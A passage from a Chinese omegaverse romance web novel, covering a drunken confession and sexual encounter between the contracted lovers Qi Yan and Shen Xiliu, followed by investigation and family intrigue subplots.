“差点以为自己要社死了。”祁厌一脸唏嘘道,“你没看见我都拿衣服盖住吗?连结账都是特意去自助收银机,就生怕别人以为我太放荡。” 沈溪流嗤笑一声:“我倒觉得你挺高兴被人误会。”要不然也不会一直和那个omega站在那里,被走过路过的人误以为是一对,还满脸笑容。 “这种事情有什么好高兴,他又不是我喜欢的人。”祁厌说。 他给沈溪流多唠叨几句,那个omega是有对象的人,万一被误会的话,很容易被对方的恋人找上门。刚才多聊两句,没有立刻去找沈溪流,是因为祁厌记得那个omega开了一家烧玻璃的店,而祁厌想要定制些比较特殊的玻璃杯…… 没等他把话说完,电梯声音响起,沈溪流率先走出去,一如既往的冷淡,对他说的话充耳不闻。 祁厌后脚跟上,猜测是沈溪流嫌他太聒噪,索性不继续说了。 两天没见,感觉沈溪流比之前更加容易生气了,是因为信息素的影响吗?祁厌猜测,他试图和沈溪流搭话,询问他的身体这两天怎么样?检测出来的情况稳定吗?对方全部视若无睹,祁厌瞬间有种梦回刚认识的时候。 “那我先去洗澡了,沈先生如果有什么事情,可以叫我。”他把购物袋里东西放好,又把自己新买的杯子清洗干净,和沈溪流说了一声,就去洗澡。 真是自以为是的家伙,他能有什么事情要找他? 沈溪流冷脸将西装外套丢在沙发上,扯松领带,挽起袖子走到酒柜边,从里面抽取一瓶红酒出来。 他不喜欢喝酒,但不妨碍沈溪流从那个住了一个月的房子离开时,将酒全部打包带走,只留个空荡荡的房子。 “真难喝。”沈溪流对酒兴趣不大,但喝着酒的感觉确实轻松许多。 在老宅那边,始终维持着烦躁的心情,还是回到自己的房子比较舒服,就是屋里有个看不顺眼的人,有一点点闹心吧。 沈溪流一边喝酒一边打开手机,七夕确实热闹,没有年轻人坐得住,非要待在家里和长辈死磕。 家宴结束以后,从老宅溜出去的人不少,不管是游弋还是其他人都偷溜出去玩了。甚至跑到星月湾那边去看烟花,朋友圈里有人在现场录制视频、拍照片,墨色苍穹燃烧着浓郁色彩般的烟花,带来的视觉冲击相当耀眼夺目。 难怪祁厌想去看,画面确实很美,如果现场观看的话,一定很壮观盛大。如果不是祁厌让他看着不顺眼,现场又太吵,沈溪流觉得说不定自己也想去欣赏一番,最好选个偏僻地点,安静观看…… “沈先生,我洗好了,你今晚有什么计划吗?”祁厌从浴室走了出来,正用毛巾搓着湿润的头发,朝着坐在沙发处的沈溪流询问。 两天都没做了,今晚应该稍微需要做一两次加深假性标记的效果吧? “嗯?”没有听见沈溪流说话,祁厌鼻尖微微一动,嗅到一股淡淡的酒香,他不会还在生气吧? 祁厌盯着背对自己的沈溪流,走了过去,一眼瞥到桌上放着的红酒,喝了差不多有半瓶。 “……有事?”慢了好半拍,沈溪流才抬头看向走过来的祁厌,眉头微蹙,脸颊微微泛红,带着几分醉意,连眼神都变得迷离。 头发还在滴水,祁厌拿起桌上的红酒看了一眼:“厉害,一挑就挑中二十多万的罗曼尼康帝,还喝了半瓶,好喝吗?” 他是知道沈溪流对酒不感兴趣,也不喜欢喝酒,当初搬进那间房子的时候,沈溪流和沈云殊说话时便透露出来。 沈溪流摇晃着红酒杯里的液体,吐出两个字:“难喝。” “难喝你还喝半瓶,红酒爱好者会对你发出谴责的。”祁厌把酒放下,好歹也是世界酒王,结果被一个不会品酒的人喝了,要是其他人知道,一定会说沈溪流暴殄天物。 “这么喜欢?”沈溪流瞥他一眼,把红酒杯塞进他手里,“那你喝完吧。” “?”祁厌盯着他喝过的红酒,“你的洁癖呢?不介意我用你的酒杯?” “爱都做了,有什么好介意的。”沈溪流面无表情地说,把领带松开些,解开上面几颗扣子,露出精致的锁骨,白皙的脖颈间戴着黑色信息素抑制颈环,平时看着禁欲冷淡,现在因为醉意熏陶,倒是显现出几分平时没有的性感色.欲。 祁厌:“……” 他把酒杯放下,凑近去看沈溪流,伸手去摸他的脸颊:“醉得这么厉害?” 连这种话都说出来,和平时冷淡的沈溪流完全不像,倒是更像夜晚沉浸于欲望之中的状态。 “要做吗?”沈溪流没有抗拒他的接触,反而习惯性地伸手揽住祁厌的脖子。 就像平时的亲密接触一样,蹭了蹭他的侧脸,没干的发丝滚落几滴水珠,落到沈溪流的脸颊上,冰冰凉凉的。 没等祁厌回答,他又皱着眉头说:“我想洗澡了。” 祁厌有点跟不上他的节奏:“那就去洗……” “你是不是想去看烟花?”沈溪流拿起手机怼到他脸上,思维跳跃到祁厌完全跟不上,语气凉飕飕,“确实好看,要是我没出现的话,你现在已经在现场陪人看烟花了吧?” “……” 祁厌握住沈溪流的手腕,拉开距离才看清手机屏幕上的璀璨烟花图片,目光从屏幕移动到沈溪流微愠的脸上,好像意识到了什么。 “沈先生,你这不会是在吃醋吧?”祁厌笑了起来。 “嗯?”沈溪流歪了歪头,眼神不悦,“你在开什么玩笑!” 他像是会吃醋的人吗? “现在是在说你身上的问题,要不是我出现,估计合同规定都拦不住你了。” 沈溪流讽刺道:“走哪都能碰到老情人,一定很高兴吧。” 第63章 前世 你的脸不错 老情人?! “沈先生, 你是不是对我有什么误解?”祁厌想解释清楚这件事情,但沈溪流不想听。 “没有误解,你别解释。” 沈溪流靠在他身上, 手机从手里滑落,他伸出手指戳着祁厌的脸颊, 红着脸提醒:“记住, 在合同期间,你是我的东西!” “好好好。”祁厌接住手机,耐心道, “但你也稍微听一下我说的话吧,拜托了。我和其他人相处都很注重距离,无论感情或身体都没有任何接触, 不仅是合同的原因……还是因为……” 喜欢你。 这话说不出来, 他们现在还处于合同期间,一旦说出来,这份喜欢就会带上别的意味,还是等合同结束了,再创造机会吧。 “还是因为什么?” 沈溪流抬起头盯着他,祁厌的表情有些无奈, 但那双眼眸总是这么温柔多情, 看谁都一副深情缱绻的模样, 能够轻易让人产生一种被深爱着的错觉。 “诶……” 对上沈溪流有些认真的眼眸, 祁厌愣了一下, 醉意醺然的脸融化掉平时的冷漠,没有疏离与傲慢,也没有无视,眸子里倒映着他的身影。 “继续说啊, 因为什么?”沈溪流又问,他第一次把祁厌的话听进去,并且追问没有说完的话。 祁厌静静凝视着他,半晌后,说:“……因为喜欢你。” 说出来了。 他伸手摸着沈溪流发烫的脸颊,忽视紧张,继续表达,声音暧昧低沉,又带着真诚:“因为有喜欢的人,所以很注意距离,不想让喜欢的人产生误会,每次都想和你解释……” 被撞见告白的第一个想法是先解释,与朋友走在一起被误会的第一个想法也是解释。即使对方不在意,不放在心上,也想着稍微暗示一下,我和他们没有关系,你别误会…… 可惜沈溪流从来没有听进去。 太过温柔的眸光流转间,好像荡漾着春水,丝毫没有掩饰潜藏着的喜欢,静静地凝视着他,仿佛一切都悄然退去,只看得见沈溪流,炽热的情意无法被忽视,连呼吸都忍不住停滞住。 沈溪流心脏猛地一颤,第一次出现不受控制的慌乱,他下意识伸手遮住祁厌的眼睛,有些急促地说道:“把你的眼睛闭上!” 别说了! 沈溪流有些烦躁地扯下自己的领带,生怕祁厌再睁开眼睛,甚至伸手用领带绑住他的眼睛。 有些慌乱的动作,让原本比他更紧张的祁厌松了口气,莫名地笑了起来:“哈哈哈,有必要这样吗?” 祁厌笑得有些开心,嘴角止不住往上扬起,沈溪流就从没看见他在自己面前笑得这么肆意张扬。 盯着这样的表情,沈溪流不知道为什么,也感到有些高兴。 “你的眼睛看着闹心。”他撇过脸,不自在地说。 真的,很闹心,完全静不下来。 他伸手去拿酒杯,想要再喝一口,试图平复动荡的心情。 虽然被蒙住眼睛,但是仍然能感觉到沈溪流的动作,祁厌抬起手,指尖顺着他的手臂温柔地抚摸,缓慢握住轻颤的手和酒杯,笑问:“不是说给我喝完吗?” 他握着沈溪流的手和酒杯凑到唇边,因为看不见,动作很慢地倾斜着酒杯,直到红酒液入嘴,祁厌浅浅尝了一口,细细感受着这瓶价值二十多万的红酒。 沈溪流几乎屏住呼吸,看着眼前这一幕。黑色的领带遮住双眼,黑色与冷白的肤色带来视觉对冲,几缕凌乱的碎发散落在祁厌的额头,显得随性又慵懒,勾勒出神秘暧昧的性感,喉结上下滚动,吞咽着红酒的画面,让人移不开视线。 “嗯,的确很不错呢。”祁厌的嗓音慵懒随性,尾音微微上挑,撩拨着人心。 沈溪流回过神来,急促地喘了一声,手指无意识地抓紧自己的衬衫,又听见祁厌问:“沈先生,你以前有练习过如何品酒吗?” 毕竟社交场合总是绕不过酒,所以有些家族会培养孩子在品酒方面的知识礼仪。 “不。”沈溪流下意识回答,“我对这方面没有兴趣。” 相关礼仪当然有学过,但沈溪流并不感兴趣,反正无人敢劝他喝酒,身体状况又摆在那,倒是游弋挺喜欢,也很擅长。 “不感兴趣吗?”祁厌慢悠悠地说着,慵懒的语气有些甜腻,“我还想着给你调一杯酒喝,毕竟我好歹也是一名调酒师,别的没有自信,这方面还是挺自信的。” “不过不喜欢喝酒的话,到时候可以给你调一杯无酒精的,好不好?” 被蒙住眼睛的alpha几乎把沈溪流抱入怀里,没有信息素的引诱,只有沐浴露的香味,就连从他头发上掉落的水珠都变得滚烫。 沈溪流难以抗拒,好像被一只大型的猫不断蹭着,撩得浑身酥麻,手脚都发软,听着祁厌用撒娇的语气说话,醉意醺然过的脸颊变得越来越烫。 “一次的话,倒也没什么。”沈溪流垂着眼帘,答应了。 “真是好难得,沈先生居然这么温柔呢。”祁厌笑了起来。 没等沈溪流反驳,他的手掌抵着沈溪流的后腰,隔着单薄的衬衫,暧昧小声地问:“那今晚,要做吗?” “或者说,还是要遵守‘合同’,只治病,不做.爱?”他意味不明地说着,手掌顺着沈溪流清瘦的后背线条一点点往上抚摸,“沈先生,你觉得我们现在是什么关系?” 他告白了,沈溪流没有拒绝。 只是如此,祁厌便被喜悦冲昏头脑了。 毕竟沈溪流这样的人,如果不喜欢的话,肯定会很利落地拒绝掉,没有拒绝,那是不是……多少对他有些好感? 沈溪流没有回答这个问题,因为触碰而颤抖的手不小心将红酒洒到身上,祁厌察觉到以后,接过他手里的酒杯,把最后一口喝完,放回桌上。 “沈先生,不回答吗?”他舔舐着唇角的酒液,声音低哑。 沈溪流盯着祁厌的脸看,不被那双眼睛直视,心底舒服很多。酒精麻醉的大脑没有太多思考能力,他问道:“你想怎么做?” 不回答吗?那换个方式吧。祁厌缓慢笑道:“Kiss,怎么样?” 和祁厌,接吻吗? 沈溪流背靠着沙发,目光落在他的嘴唇上,刚喝过红酒,带着水泽,有些性感,屋内的灯光很明亮,把一切都照得清清楚楚。 他盯着祁厌的嘴唇看了好久,冷不丁地问:“是初吻吗?” “啊?”祁厌愣了一下,反应过来后,慢慢笑起来,“是哦,初吻,要吗?” 他今晚一直在笑,还笑得特别好看。 “……” 骗子。 沈溪流伸手用手背遮挡住眼睛,又有些抵挡不住祁厌的诱惑:“随你,只要别扯下领带,唔……” 祁厌迫不及待地亲了过去,柔软的唇瓣轻轻碰到一起,带着红酒的香醇味,湿润温热,吻得缓慢又温柔,含糊的声音很暧昧。 “可以哦……只要今晚我不扯下领带,就一切随我吗?” 沈溪流说不出话来,细细感受着这个吻,他是第一次和人接吻,大脑彻底变得空白,只能感觉到唇上的触感。 柔软的舌尖在唇瓣上轻轻扫过,缓慢试探,带来酥麻的电流蔓延,呼吸交融在一起,心脏跳得越来越快,完全遵从本能地回应。 接吻好像比上.床更让人心动,尤其是在没有关灯下,他能看见祁厌是怎么亲吻他。 从嘴唇到下巴、脖子,舌尖舔舐着皮肤,从黑色颈环上划过,修长指尖暧昧地磨蹭着颈环与皮肤的缝隙,黑色和白色总能对比出惊心动魄的色彩,柔软的舌尖滑过,让脖子发烫,沈溪流被撩得身体发软。 祁厌在一点点往下碰触,很轻的吻,没有留下任何痕迹,反倒是把刚才的红酒舔舐干净。 单薄的衬衫被撩开,手指落在光裸的皮肤,好像有电流飞窜而过,引起颤栗,温热细腻的触感让人无法忍受。 “去……去浴室!”沈溪流躺在沙发上,咬着手指指节,心神晃荡地盯着伏在身上的祁厌,殷红的舌尖舔舐着被红酒液打湿的皮肤,暧昧的蛊惑画面太具有冲击性。 沈溪流不停喘息,瞳孔因为紧张刺激而扩大,细细震颤。 祁厌舔了舔嘴角,黑色领带遮挡住眼睛,衬托出那张俊美的脸更加妖异性感:“稍微等一下吧,红酒不是还没喝完吗?” 不小心洒到沈溪流身上的红酒浸在皮肤,虽然祁厌看不见,但也能想象得到画面,红色的液体滚落在白皙细腻的皮肤,留下一道道暧昧的红痕,一定相当诱人。 …… “这样很危险,估计你明天得杀了我。”祁厌有些无奈。 沈溪流明天肯定会翻脸不认人。 “你好啰嗦,废话真多!”他有些等不及了。 以往不见他磨磨蹭蹭,这次倒是废话很多。好在祁厌不知道他的想法,要不然一定有很多话和沈溪流说。 这次和以往能一样吗?完全不一样! 沈溪流垂着头,紧紧盯着刺激的画面,心脏跳动的节奏变得乱七八糟。 这是第一次在这么明亮的环境下做,什么都看得清清楚楚,就连体内的感觉也十分清晰,带来的刺激实在是太可怕。 “嗯……我觉得你明天会杀了我!”祁厌被沈溪流粗暴的动作吓到了,急忙伸手搂住他,阻止进一步,“太糟糕了!” “你这话是什么意思?!”沈溪流红着脸瞪他,即使被蒙住眼睛看不见,祁厌也能听得见他的语气有多么不高兴。 “沈先生,这样真的很危险。”祁厌把脸埋在沈溪流的脖颈间,手指缓慢下滑,来到他的小腹处,轻轻按压,小声道,“你难道不知道……我们每次做的时候,你的生殖腔一直……都是打开的吗?” 很危险的。 如果他真的进去了,强行O射的话,沈溪流会有很大的可能性被他永久标记,要是再糟糕点,怀孕了怎么办? alpha和omega的适配度太高,什么事情都很容易发生。 “你明明不在发情期……”祁厌低声说道,一般来说,只有发情期的omega才会这样。 有时候沈溪流的各种反应会让他产生错觉,或许,沈溪流……是喜欢他的。 “沈先生,你觉得会是什么原因?”祁厌抬头,摩挲着沈溪流的脸颊,找到嘴唇的位置,和他轻轻触碰着,是生理原因还是心理原因? “……” 沈溪流大脑一片空白,他完全不知道这种事情,慌乱了一瞬,又看到祁厌被蒙住眼睛的脸。他从头到尾都没有摘下,心情又慢慢平静下来。 “反正你不会弄进来不是吗?”沈溪流别过脸,声音非常小。 偏偏这样的距离,祁厌听得一清二楚,低低笑了几声:“那真是感谢你的信任,让人很感动。” 祁厌慢悠悠地吻着他,沙发的局限性太大,让沈溪流在上面又太过危险,只能换个姿势:“这沙发真的太软了,都不好用力,沈先生下次换一个地点?” 沈溪流喜欢靠在柔软一些的沙发上看书,选的沙发也格外舒适,现在整个人都被祁厌弄到里面,没有一点安全感,尽是alpha强势的侵略性。 “我讨厌这地方了!”看书时倒是无所谓,以这种姿势的话,就太难受,沈溪流浑浑噩噩地想着。 早知道不开灯了,他眨了眨眼,让视线变得清晰。潮热的欲望将人吞噬殆尽,沈溪流看得太清楚,连心脏都被揪住,偏偏又不想挣脱,只想沉沦在其中。 “是吗?”祁厌俯身吻他,唇舌交缠,带着暧昧的水声,“虽然做起来麻烦,但是我挺喜欢的,早就想这样对你了……” 可惜沈溪流不准他摘领带,要不然真想看看他现在是什么表情,平时沈溪流无事就喜欢靠在沙发上看书,现在在同样的地点被做这种事情,还能像看书时冷漠淡定吗? 多少有点恶趣味,但祁厌真的很想看喜欢的人被自己弄得乱七八糟的模样。 “……呼,别这么恶趣味。”沈溪流侧着脸,呼吸也乱,唇齿间勾着水丝。这吻太黏糊糊了,舌头在发麻,可是体验感却超出以往的每一个晚上。 “只是实话实说而已。”祁厌在他耳边低声,“毕竟喜欢你,很喜欢,所以就想把喜欢的人弄成平时没见过的可爱模样,光是想象都快受不了这种诱惑,太让人心动……” “沈先生,难道你没有这种冲动吗?”祁厌伸手扣住沈溪流的手掌,和他手心贴着手心,十指紧扣,暧昧地询问,“还是说,一点都不喜欢我?” 即使看不见他的眼睛,心脏依然在疯狂跳动。 沈溪流几乎要溺死于其中,不想直视祁厌的脸,又被他吸引住目光,无法移动,下意识地说:“喜……喜欢嗯啊!” 祁厌变得更过分,沙发发出嘎吱嘎吱的声音。沈溪流重重喘息,强忍着侵蚀理智的欢愉,拼命补充:“你的脸,很不错!” 大脑变得一片空白,热意将整个人笼罩在其中,沈溪流几乎没法呼吸了,连视线都变得模糊,眼前仿佛有烟花在盛开爆炸,久久才得以从极致的欢愉余韵中挣脱,缓慢地恢复一些理智。 “是吗?但我最讨厌这张脸了。” 祁厌夹杂笑意的声音响起,他只喜欢自己的眼睛,遗传于母亲的。 “不过如果你喜欢的话,那将是我的荣幸……” 人是视觉动物,会喜欢长得好看的人很正常。祁厌对自己的脸很有数,尽管他讨厌自己身上和易鸿立长得像的部分,但也不会做出伤害自己的事情。 …… 指尖从小腹划过,冰凉粘腻,沈溪流的目光落在自己湿润的手指。 该生气的,却没有一点不高兴,反倒是有种说不出的扭曲快感,一直以来的怒火在消减。与此同时,内心浮现一种莫名其妙的急切与渴望,混乱的大脑闪过一个问题。 ——祁厌的信息素是什么? 为什么没感觉到祁厌的信息素? 明明都没戴套,也接吻了,为什么感觉不到? omega的本能让沈溪流有些难受,他用手背挡住眼睛,喘息着说:“……亲我,温柔一点。” 说不出来心底的渴望,只想再试试。 “我吻得一直都很温柔吧?”祁厌轻轻吻他,小声说道。 沈溪流真奇怪,明明他都尽量吻得轻柔了,居然还嫌不够温柔吗? …… 帮半醒半睡的沈溪流洗完澡,换好衣服送回房间,祁厌的心情是前所未有的轻快。虽然做这么多次很累,但是也确实很爽,而且他趁着沈溪流浑浑噩噩的时候,问出他的信息素是什么了。 有点难以想象,不过却又觉得很适合,很漂亮优雅,大脑已经勾勒出设计图,接下来就等找个时间去制…… 一股眩晕感猛烈袭击过来,后颈突然刺痛,祁厌猝不及防下差点没站稳身体,幸好本能地伸手扶住门框,才没有跪倒在地。 好半晌,才回过神来:“……低血糖吗?” 不太像。 祁厌目光落在手背上的红色血滴,他伸手摸了摸微凉的鼻间,指尖擦拭出一抹猩红的颜色,相当刺眼。 “不至于吧。”祁厌心想我什么都没看见,刚才全程都是蒙着眼睛,直到帮沈溪流穿好衣服才摘下领带,有必要流血吗? 幸好就晕了这么一下,一切好像错觉。 祁厌不明所以地捂着鼻子去拿纸,庆幸没有在和沈溪流做的过程,发生这种事情。 要不然大概会成为黑历史之一。 第64章 前世 绝对是生气了! 酒果然不是什么好东西, 宿醉后带来的头疼,让人无法静下心思考。 “难得见到你这副模样,昨晚有喝这么多吗?” 沈清泽看了一眼靠在墙边的沈溪流, 宿醉导致他的脸色不太好,仿佛恢复以往的苍白, 眼下浮现一抹青色, 以至于神情比以往更加冷漠不耐。 “别废话,九点钟我还有事情。”沈溪流心情不好,白皙的脖颈空无一物, 本该戴着的信息素抑制颈环在沈清泽手里,整个人透着疏离冷淡的气质。 沈清泽正在检查颈环,调出里面的数据, 说:“这种事情急不来, 明明只剩下最后一个月,熬过这段时间就够了,为什么非得现在在抑制颈环里添加特殊抑制剂呢?” “和你没关系,照做便是了。” 沈溪流不想和任何人谈论这方面的事情,他受够假性标记带来的影响。即使是最后一个月,也不想把注意力再分散到无关紧要的人身上。 尤其是祁厌这种人。 “也不完全没有关系吧。”沈云殊不在, 现在是沈清泽负责这方面的事情, 假性标记的效果不如永久标记好, 如果沈云殊在的话, 大概早就发现沈溪流在耍他。 沈清泽盯着数据变化, 发现个问题,开口询问道:“昨晚有发生什么事情吗?” “为什么问这个?”沈溪流皱下眉头,走到他的身后,看向电脑屏幕上滚动的数据信息。 沈清泽说:“还是第一次, 你体内的信息素情况整个晚上都保持在最佳区间,没有出现别的问题,其他情况也在持续走好,你看这里……” 他示意沈溪流看过去,一点点给他分析身体变化情况,又问他昨晚到底做了什么?然而沈溪流眉头越皱越深,鬼知道昨晚发生了什么事情! 他在家宴上就喝了不少酒,但还保持着清醒,清楚记得自己遇见祁厌之后的每一幕,无论是他当街被人告白,还是在超市和旧情人相遇,所有记忆都很清晰。 要说断在哪里,大概是待在家里太放轻松,于是没忍住喝太多红酒,心情在酒精的作用下,一点点变得轻松愉快,后续发生的事情就全部忘记了…… 根据早上起来的身体状况,他猜测应该和祁厌做过几次。 “应该是喝酒导致的。”沈溪流按了按太阳穴,长吐一口气。他平时不喝酒,也就昨晚难得喝醉过一次,前所未有的经验,糟糕透顶。 沈清泽点头:“那就对了,适量饮酒的确有助于身心放松。” 但昨晚饮酒过量了。沈溪流心想,不过偶尔一次,应该影响不大,反倒是效果不错。 “你的手机在震动。”沈清泽听到细微的震动声。 沈溪流看了一眼屏幕,把手机调静音,拉黑对面:“继续。” 没必要回复。 …… “都一天了,还是完全打不通,该不会真的生气了吧?”酒吧里,祁厌趴在玻璃桌上叹气,姿态懒懒散散地盯着手机,有一种果不其然的感觉。 他就知道沈溪流会生气,所以昨晚才让他别这样干,可惜没能阻止。 “情人节都能把喜欢的人惹怒,祁厌你昨晚做了什么事情啊?”难得看到祁厌垂头丧气地趴在桌上,酒吧的同事都在嘲笑他,明明长了一张很擅长撩人的脸,结果居然追失败了? 徐浪浪凑过来,拍他后背,一副嬉皮笑脸的样子:“说说嘛,我还可以给你做下参谋,对方是什么类型的人?性格怎么样?喜欢什么……” “不需要。”祁厌慢慢挺起身,推开凑过来的人,“你们少打听别人的私事。” 他怎么可能把自己和沈溪流的事情告诉别人,这并不是供人听的谈资。 “别这样嘛,我们真的很好奇你会喜欢谁!” “就是,以前那么多omega追求告白,都没见你点头,现在知道你有喜欢的人,当然想要知道一下。” “好歹都是朋友,告诉我们一声怎么了?” 瞎起哄的人太多,要不是提前和张衡一约好在酒吧见面,祁厌真想扭头离开。好在见他实在是不想说,大家调侃几句,就被叶澄澄和徐哥带来的下午饭打断,都凑过去吃饭了。 “祁哥,你不吃吗?”叶澄澄见他起身离开,小声问道。 祁厌朝他点头:“嗯,我还有事情,就不用了,你们先吃吧。” 张衡一发信息过来了,人已经到酒吧附近,祁厌不想浪费时间,和同事们说一声,就先离开了。 这几天他已经找时间和那名警察闫旭接触过,知道顾燕行生前私底下帮助过他几次,也和警方有过一些合作。双方互相确认对方的身份以后,闫旭愿意给他们提供一些顾燕行生前的信息,比如他死前一个月仍然住着的房子。 “你不买辆车吗?”开车的张衡一问道,“明明已经有这么多钱,不会还吝啬到不愿意买一辆车代步吧?” 要不是为了接祁厌,他都不用绕这么大一圈,直接开车去约定好的目的地就行。 坐在副驾驶的祁厌靠着窗打了个哈欠:“我又不是顾燕行,对自己没那么吝啬,过段时间会考虑的。” 沈溪流现在住的地方离酒吧真的太远,通勤时间也相当长,每天打车费用不便宜,地铁倒是方便,但也有些麻烦。如果沈溪流愿意和他在一起,又喜欢住在现在的房子,那他确实得买一辆车代步…… 唉,又想太多了。 祁厌取出手机看一眼,依然没有任何回复,甚至被拉黑了,一条信息发不过去。原本还以为昨晚都说清楚了,结果没想到一觉醒来又回到初始点。 今早的沈溪流甚至比祁厌醒得更早,听见动静起床去找人的时候,就看见沈溪流已经换好衣服,冷冷淡淡地走出家门,一个眼神都没有甩给他,刚要说出口的话,就因关门声戛然而止。 祁厌:“……” 绝对是生气了!而且比昨晚更气的样子! “张衡一,你有谈过恋爱吗?”祁厌问。 “当然有,你以为谁都像你寡王吗?”张衡一推了推眼镜,有些感怀,“大学的时候,和我的初恋谈过一场,现在回忆起来还是相当美好,想当年我和……” “那为什么分了?”祁厌打断他的施法,既然结局是be,那就别回想过程了。 回忆蓦地中断掉,张衡一沉默半晌:“他说我男A主义,管太多。” “……”祁厌问,“没试着挽回?” “别聊了。”张衡一不想说了,“马上就到了,我们快点抓紧时间吧,得趁着易鸿立还没恢复,尽快找到顾燕行留下的东西。” 其实还有十分钟左右,祁厌很识趣,一直到下车与闫旭见面,二人都不再谈论这些事情。 “顾先生真的是个很聪明厉害的人,以前为我们提供过很多帮助,刚得到他死亡的消息时,大家都不敢相信这么冷静的顾先生居然会做出这种事情……” 闫旭的心情非常复杂,他当初得到过太多顾燕行的帮助,所以直到现在都不敢相信对方会以自己的生命为代价而去报仇。 “虽然我以前来过这里,但不确定顾先生会不会留下些什么痕迹。” 闫旭带着他们二人在一片楼房老旧的小巷里绕了许久,才走到破旧的地下室,外面的角落有垃圾桶堆放,流出脏水,往下的楼梯漆黑粘黏,鞋底碰触过后,再提起来都能够感觉一股吸力。 “这家伙真的是什么鬼地方都住!”张衡一没有洁癖,但走在这种地方,多少感觉到有些恶心,连呼吸都不顺畅。 闫旭听见这话,说道:“顾先生看起来真的很像一个怪人,明明有更好的住处可以选,但他哪里都不去。” 对生活质量没有任何要求,只要能够维持生命特征就行。 很久没有人过来的地下室,他们没有钥匙,只能强行撬开,里面黑漆漆一片,用手机照亮才能看见里面堆放着落灰的大量电器,还有角落里的一张床,除此之外,什么都没有。 …… “他走了?” 医院里,易鸿立睁开眼睛,重伤住院这段时间,他变得削瘦不少,平日里擅长伪装的脸上,多了一份阴鸷。 易扬心底有些疑惑:“嗯,沈哥说是还有事情,就先离开了。爸,你为什么不见他,把事情都告诉他呢?而且还不准我现在去找祁厌的麻烦!” 说到这里,他就有些忿忿不平,宋意礼明明就是被他们害死,连他也被祁厌打了一顿,易鸿立醒过来的第一件事情,却是绝对不允许他去找祁厌的麻烦! 这种事情让他越想越愤怒,几乎不能忍受,偏偏易鸿立派人在他身边紧盯着,制止易扬私底下的报复。 “易扬,你别太天真了。”易鸿立躺在病床,有些虚弱地开口,但依然让易扬感觉到不可违抗的威严。 “我没有天真!爸,都发生这种事情了,你还不准我向他报仇吗?我妈都被他害死了!”压抑许久,又听到这种话,易扬终于忍不住爆发了,“就连你都差点死在那场车祸里,现在还要我继续忍下去,你眼里真的有我们的存在吗?” “还是说,你更加重视你那个废物儿子?!”他怒吼着说道。 易鸿立的表情没有任何变化,说:“如果你只会无脑地宣泄情绪,那我不得不承认,你在这一点上,远远不如祁厌。” 他的语气很平淡,就连表情也极其冷酷。易扬接受不了这样的话,怒吼道:“他算什么东西!也能和我比?那个废物现在什么都没有,你可别告诉我,你现在还想要把他接回来!” 他绝对不会允许这种事情发生!如果放在以前,易扬根本不敢和易鸿立吼,但是现在他的情绪正处于激动中,又娶了沈湘婷,还有沈溪流撑腰,对易鸿立的恐惧早就淡去。 “别说这样的蠢话,如果我要把他接回来,你觉得我还会安排这么多事情吗?”易鸿立道。 易扬想到这里,好像恢复了一些冷静,但依然暴躁地说:“那我还要忍受多久?要是有万一又怎么办?” “没有万一。”易鸿立意味深长地笑道,“易扬你要记住,一切事在人为。” 第65章 前世+现世 输得一败涂地 【顾燕行留下的东西不多, 他确实藏了一些东西,但需要花些时间破解。 张衡一从床底翻出一大盒没有寄出去的信封:“要给他邮递过去吗?” 不用看,他都知道是写给谁的信。几百封没寄出去的信, 让人忍不住唏嘘,明明可以拥有一个更好的结局…… 祁厌道:“先收好, 等事情结束再说吧。”死掉的人都没有寄出去的信封, 他们有权利送过去吗?对方又想要收到这盒信吗? 他们都不敢确定,只好先收起来,离开这间许久没人居住的地下室。半路上, 张衡一注意到祁厌的神情变化。想了许久,在分开的时候,他还是开口说:“祁厌, 有件事情, 我得提醒你一下。” “什么事情?”祁厌抱着盒子,停下看他。 “你知道的,易鸿立之前出车祸,但公司并未出现什么问题,是因为沈家有人及时出手帮助,股价只是短暂下跌后就恢复, 甚至没受到冲击。”他相当委婉地说, “也是由于沈家的存在, 所以这么多年, 我们都不敢轻易下手, 甚至不敢暴露自己。” “如果是之前,我对你很放心,左右不过一场交易,吃不了什么大亏。如果你要是太认真的话……” 会吃亏的。 “一开始也就算了, 毕竟那时候也没确定对方身份,但是现在你已经知道了。”张衡一说。 他想告诉祁厌,这场交易结束后,不要和合同雇主再有任何牵扯。 那个人是沈家人,大概率就是那个他们查不出来的,易家多年以来的靠山。易鸿立能把易氏医药集团发展到这种地步,可以说和他脱不开关系。 “你这家伙什么时候变得这么关心这事了。” 祁厌拍着盒子在衣服留下的灰尘,笑道:“不用担心,我觉得我这次运气不错,事情不会变得糟糕。好了,先不说了,我还有事情,先走一步。” “希望真的这样吧。”张衡一靠在方向盘上,盯着他远去的背影。 先前因为顾燕行和母亲的事情,祁厌的情绪一直维持在糟糕的状态,但今天的状态明显比之前好许多,加上在车里的谈话…… 作为过来人,张衡一知道,祁厌真的对那人用心了。 这不是一件好事。】 …… ………… 收到祁戈发来的信息时,祁厌整个人都愣住了。 “师兄,你怎么了?”实验室的学妹叫了他几声,才得到回应。 祁厌收好手机,对他们笑道:“没什么,接下来的实验你们先自己做一下,如果还有不懂的,就再来问我吧。” 不明白,为什么沈溪流要做这种事情? 祁厌离开实验室时,眉头紧锁,心底有种说不出的烦躁。走到休息室里,吃了颗医生开的药物,他才勉强静下心,拿出手机再看一遍祁戈发来的信息。 这条信息应该是在朋友的指导下发过来的,没有以往的大大咧咧,甚至带着点小心翼翼地询问,看他是不是早知道沈溪流派人跟踪在后面,还是说有误会? 祁戈同学孟晓的本领,祁厌是亲眼所见的,并没有怀疑太多,更别说这人很聪明,早就提前留下证据。虽然照片有点糊,甚至有一张是通过玻璃反射拍摄下来,但是仍然能够对得上,这人确实在跟踪他。 思忖半晌后,祁厌直接打电话过去:“让你朋友接下电话,我有事情要问他。” “啊?哦哦哦,好的,好的!” 祁戈连忙把手机递给身旁的孟晓,对方绷着一张脸,有点紧张,但依然非常冷静地和祁厌对话,条理清晰,将自己注意到的疑点全部说给祁厌听了。 “……我知道了,谢谢你告诉我这些事情。”祁厌沉默半晌才道。 手机是开扩音,祁戈听得很清楚,挠了挠头,问道:“那哥你打算怎么办?”他也是纠结好久,才把信息发过去。 始终担心破坏到祁厌好不容易才谈的恋爱。 “不用担心,我会直接去询问他,弄清楚问题。”祁厌的语气相当冷静,没有一丝怒气,从头到尾都很平和。 祁戈却一下子变了脸色,正想要开口,就听见祁厌说:“好了,不打扰你们上课了,待会儿我给你转账,好好请朋友吃一顿,算是我的谢礼了。” 说完,他便挂掉电话。 “啊啊啊!果然生气了,这下子完蛋了!”祁戈盯着被挂掉的电话,有点绝望地抓着头发,懊悔道。 